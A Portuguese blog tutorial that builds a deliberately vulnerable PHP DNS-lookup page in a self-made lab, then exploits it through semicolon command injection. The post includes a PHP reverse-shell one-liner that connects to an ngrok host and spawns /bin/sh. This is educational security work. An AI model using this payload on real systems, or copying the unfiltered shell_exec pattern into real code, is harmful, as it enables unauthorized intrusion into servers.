Command Injection Arbitrary ou Injeção de Comando arbitrário

Igor Leal
7 min readJun 7, 2021
Créditos: https://www.hackingarticles.in/comprehensive-guide-on-os-command-injection/

Olá amigos e amigas da cibernética! Como vão os estudos?

No artigo de hoje trouxe uma vulnerabilidade simples porém muito eficaz que se escalada corretamente, pode causar o terror em muito sysadmin hahaha.

A vulnerabilidade escolhida foi o Command Injection Arbitrary, um ataque que tem o objetivo de fazer uma execução de comandos arbitrários no sistema operacional host, por meio de um aplicativo vulnerável. Ela visa fornecer a um atacante acesso administrativo completo a um sistema.

Hoje faremos diferente. Iremos criar nossa maquina vulnerável do zero, e posteriormente atacá-la, para que possamos aprender o funcionamento do servidor e o motivo da vulnerabilidade ocorrer.

Conectando ao servidor via SSH

Antes de mais nada tivemos que gerar uma chave pública SSH e fornecer ao mentor para que ele nos desse acesso a um servidor “cru” (sem nada instalado). Vou dar uma breve explicação a vocês sobre o SSH.

O SSH (Secure Shell) é um protocolo utilizado para comunicação entre o cliente e um servidor remoto, ajudando na troca de informações seguras por meio de um terminal (ou shell) criptografado, protegendo todos os dados. Com isso, o cliente pode configurar, modificar arquivos e trabalhar em paginas web.

Quanto a sua criptografia, o SSH utiliza duas chaves. Uma pública e outra privada que basicamente funcionam assim:

O servidor tem a chave pública e o usuário a chave privada. Elas são cruzadas e geram uma combinação de texto que garantem a autenticidade do acesso. Após este cruzamento a descriptografia acontece e o acesso é permitido.

Para ficar mais claro, observem a imagem abaixo e vejam que Bob enviou uma mensagem criptografada para Alice utilizando a chave pública dela, e para conseguir ler esta mensagem Alice terá que fazer uso de sua chave privada, pois com ela poderá descriptografar e ler em texto claro.

Sabendo de tudo isso vamos conectar ao ssh do nosso lab e inserir a senha:

Instalando o LAMP

Agora que estamos logados em nosso servidor via SSH, vamos começar a instalar o LAMP. Porém já sabem né? Uma breve explicação sobre:

O LAMP é uma combinação de quatro softwares livres e de código aberto. A sigla se refere as primeiras letras de: Linux, Apache, MySQL e PHP. Juntos, temos os principais componentes para o desenvolvimento de aplicações web com alto desempenho. Então vamos lá:

O primeiro passo é abrir o terminal e digitar o comando abaixo:

sudo apt-get install lamp-server^

Após aparecer a mensagem de confirmação digitaremos “Y” ou “S” e aguardar o fim da instalação.

O segundo passo será a instalação os serviços web, Apache e PHP. Para ganhar tempo e instalar de uma vez só, passaremos o seguinte comando:

sudo apt-get install apache2 mysql-server php php-mysql libapache2-mod-php

Novamente aparecerá a mensagem de confirmação

Na hora de instalar o MySQL o sistema pedirá para criar uma senha para o administrador do banco de dados. Após definir a senha, pedirá para repeti-la e então a instalação estará completa.

Criando a página web vulnerável

Com nosso laboratório montado e o LAMP devidamente instalado e configurado, vamos agora criar a nossa web page.

A página terá um campo de input com um trecho de código vulnerável a injeção de comandos. Ela será criada no seguinte diretório:

/var/www/html/index.html

Após finalizada, ficará assim:

Percebam que no código da primeira foto, temos um formulário de “Consulta DNS” que está chamando um arquivo de condição com o nome “condicao.php” , utilizando o método “post” .

Dentro do arquivo temos o seguinte código:

Mas oque essa condição nos diz??

Ela diz que, se não fornecermos nenhum argumento no input “target”, o sistema retornará a mensagem “sem dados”. Caso contrário, será executado o comando “nslookup” que tem a função de obter informações sobre registros DNS de um determinado domínio.

Injetando Comandos no Servidor

Podemos ver que ao realizar uma consulta estaremos executando um comando dentro do servidor, pois existe ali um “shell_exec” sem nenhum filtro, oque torna este servidor vulnerável.

Então como vamos nos aproveitar dessa falha?

É bem simples, vamos executar dois comandos juntos utilizando o ponto e virgula (;). Ele permite executar vários comandos em sucessão na mesma linha. Vamos entender melhor:

Faremos uma consulta DNS simples para o Host da google:

No servidor, essa consulta chamará o seguinte comando:

Caso queira listar os arquivos daquela pasta, basta passar um ponto de virgula após o primeiro comando e posteriormente digitar um “ls”.

No resultado temos a saída dos dois comandos executados.

Vamos testar isso em nossa web page e ver oque acontece:

Opa! Retornou a mesma saída que nosso terminal.

Sabendo disso, vamos utilizar a malícia do Hacking e chamar nossa Shell Reversa utilizando os utilitários ngrok e netcat.

Instalando o Ngrok

Para entender oque faremos aqui, devemos saber oque a ferramenta faz.

O ngrok cria túneis entre portas da nossa maquina local e os servidores dele, oque permite outras pessoas acessarem o conteúdo daquela porta que foi disponibilizada por nós.

Para ganhar nossa shell reversa devemos baixar o ngrok para nossa maquina local.

Passaremos um wget na url do arquivo:

Após o finalizar o download vamos extrair o binário:

Tudo certo! Agora é só iniciar o ngrok com o tunelamento na porta que vamos receber nossa shell.

Com o ngrok já iniciado e configurado na porta 5050, vamos iniciar o netcat para escutar tudo que passar por essa porta.

Obtendo a Shell Reversa

Agora que criamos nosso tunelamento e abrimos a porta para escutá-lo, vamos injetar nossa payload no input do site para receber nossa reverse shell.

Na payload vamos colocar a url e a porta que o ngrok nos forneceu, pois é lá que a shell vai ser enviada, através do protocolo TCP. Somente depois de passar pelo ngrok é que receberemos a informação pelo Netcat.

php -r '$sock=fsockopen("0.tcp.ngrok.io",10771);exec("/bin/sh -i <&3 >&3 2>&3");'

E …

P W N E D !

Recebemos nossa shell reversa e estamos dentro do servidor!

Para confirmar isso vamos executar um ID e saber em qual usuário estamos:

Como podem ver, estamos como “www-data” e conseguimos ownar mais uma maquina com uma vulnerabilidade simples, porém perigosíssima! 😎

Conclusão

Aprendemos hoje que Command Injection Arbitrary é uma vulnerabilidade que acontece por erro de programação e que pode dar um prejuízo dos grandes em sistemas mal configurados, onde muitas vezes o erro passa despercebido pelos desenvolvedores e administradores de sistema. Aprendemos também a importância do estudo do hacking a partir de sua base, onde foi mostrada desde a criação do laboratório, até o ataque do mesmo.

Agradecimentos

Para finalizar, agradeço a todos que apoiam essa iniciativa de transformar a mentoria em artigo para agregar nos estudos da comunidade de seg info.

Agradecimentos especiais para @bootsantos e toda a equipe do @hackaflag pelos ensinamentos e ajuda!

#HackThePlanet!

--

--

Igor Leal

Cyber Defense Analyst II | Cyber Threat Hunting | Bug Hunter | CTF Player | Hacker Ético.